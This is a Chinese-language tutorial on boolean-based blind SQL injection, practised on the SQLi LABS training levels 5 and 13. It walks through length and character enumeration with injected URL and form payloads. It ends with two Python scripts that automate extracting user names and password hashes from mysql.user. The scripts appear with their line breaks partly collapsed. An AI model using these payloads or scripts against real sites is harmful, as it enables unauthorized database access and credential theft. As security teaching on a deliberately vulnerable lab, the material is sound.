「作者簡介」:2022年北京冬奧會網絡安全中國代表隊,CSDN Top100,就職奇安信多年,以實戰工作為基礎對安全知識體系進行總結與歸納,著作適用于快速入門的 《網絡安全自學教程》,內容涵蓋系統安全、信息收集等12個知識域的一百多個知識點,持續更新。
這一章節我們需要知道布爾盲注的原理和使用步驟。
布爾盲注是SQL注入漏洞的利用方式之一,布爾盲注使用時分為兩個步驟:
- 使用
length()
函數判斷查詢結果的「長度」 - 使用
substr()
函數「截取」每一個字符,并「窮舉」出字符內容
布爾盲注
- 1、原理分析
- 1.1、長度判斷原理
- 1.2、窮舉字符原理
- 2、步驟總結
- 2.1、判斷注入點
- 2.2、判斷長度
- 2.3、枚舉字符
- 3、盲注腳本
1、原理分析
接下來,我們以測試網站(SQLi LABS 第5關)為例,解釋一下這兩個步驟的詳細使用方式和注入的原理。
1.1、長度判斷原理
首先,利用MySQL的 length()
函數判斷返回結果的「長度」是多少。
比如,我們猜database()
當前數據庫名字的長度是1個字符,在地址欄輸入:
?id=1' and length( database() )=1 -- a
執行流程如下:
頁面異常(空)顯示,表示猜解長度有誤;
頁面正常顯示,表示猜解長度正確;
依次猜測1,2,3……n,直至長度猜解正確(頁面正常顯示)。
如上,測試長度1~7一直異常(空)顯示,測試長度8時變為正常顯示,就意味著查詢結果的長度是8.
1.2、窮舉字符原理
查詢結果由一個個字符組成,每一個字符有95種可能性(大小寫字母、數字、特殊符號),對應的ASCLL編碼是32~126。
不了解ASCLL編碼的可以看我的另一篇文章:ASCLL編碼詳解,ASCLL編碼對照表
使用MySQL的 substr()
函數「截取」查詢結果的第一個字符,使用 ascii()
函數 將截取的字符「轉換」成 ASCLL編碼,依次判斷是否等于32,33,34……126。
頁面異常(空)顯示,表示猜解失誤;
頁面正常顯示,表示猜解正確;
猜解流程如下:
ASCLL編碼 115 對應的字符是 ‘s’,確定第一個字符是:s
上一步已經確定了長度是 8,依次截取第 1~8個字符,并依次判斷每個字符的內容。
2、步驟總結
頁面沒有顯示位置,沒有報錯信息,只有登錄成功和登錄失敗這兩種情況時,使用布爾盲注。布爾盲注的效率并不高,所以使用優先級排在聯合準入、報錯注入后面。
2.1、判斷注入點
同時滿足以下兩種情況:
?id=1' and 1 -- a 正常顯示
?id=1' and 0 -- a 異常(空)顯示
2.2、判斷長度
?id=1' and length( 查詢語句 )=1 -- a
2.3、枚舉字符
?id=1 and ascii(substr( 查詢語句 ,1,1))=32 -- a
3、盲注腳本
手工盲注的時間復雜度非常大,通常會使用腳本盲注。
get請求盲注腳本:
import requests# 只需要修改url 和 兩個payload即可
# 目標網址(不帶參數)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解長度使用的payload
payload_len = """?id=1' and length((select group_concat(user,password)from mysql.user)) < {n} -- a"""
# 枚舉字符使用的payload
payload_str = """?id=1' and ascii(substr((select group_concat(user,password)from mysql.user),{n},1)) = {r} -- a"""# 獲取長度
def getLength(url, payload):length = 1 # 初始測試長度為1while True:response = requests.get(url= url+payload_len.format(n= length))# 頁面中出現此內容則表示成功if 'You are in...........' in response.text:print('測試長度完成,長度為:', length,)return length;else:print('正在測試長度:',length)length += 1 # 測試長度遞增# 獲取字符
def getStr(url, payload, length):str = '' # 初始表名/庫名為空# 第一層循環,截取每一個字符for l in range(1, length+1):# 第二層循環,枚舉截取字符的每一種可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# 頁面中出現此內容則表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '個字符猜解成功:', str)break;return str;# 開始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
post請求盲注腳本:
import requests# 網站路徑
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判斷長度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a"""
# 枚舉字符的payload
payload_str = """a') or ascii(substr((select group_concat(user,password)from mysql.user),{l},1))={n} -- a"""# post請求參數
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判斷長度
def getLen(payload_len):length = 1while True:# 修改請求參數data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出現此內容為登錄成功if '../images/flag.jpg' in response.text:print('正在測試長度:', length)length += 1else:print('測試成功,長度為:', length)return length;# 枚舉字符
def getStr(length):str = ''# 從第一個字符開始截取for l in range(1, length+1):# 枚舉字符的每一種可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '個字符枚舉成功:',str )breaklength = getLen(payload_len)
getStr(length)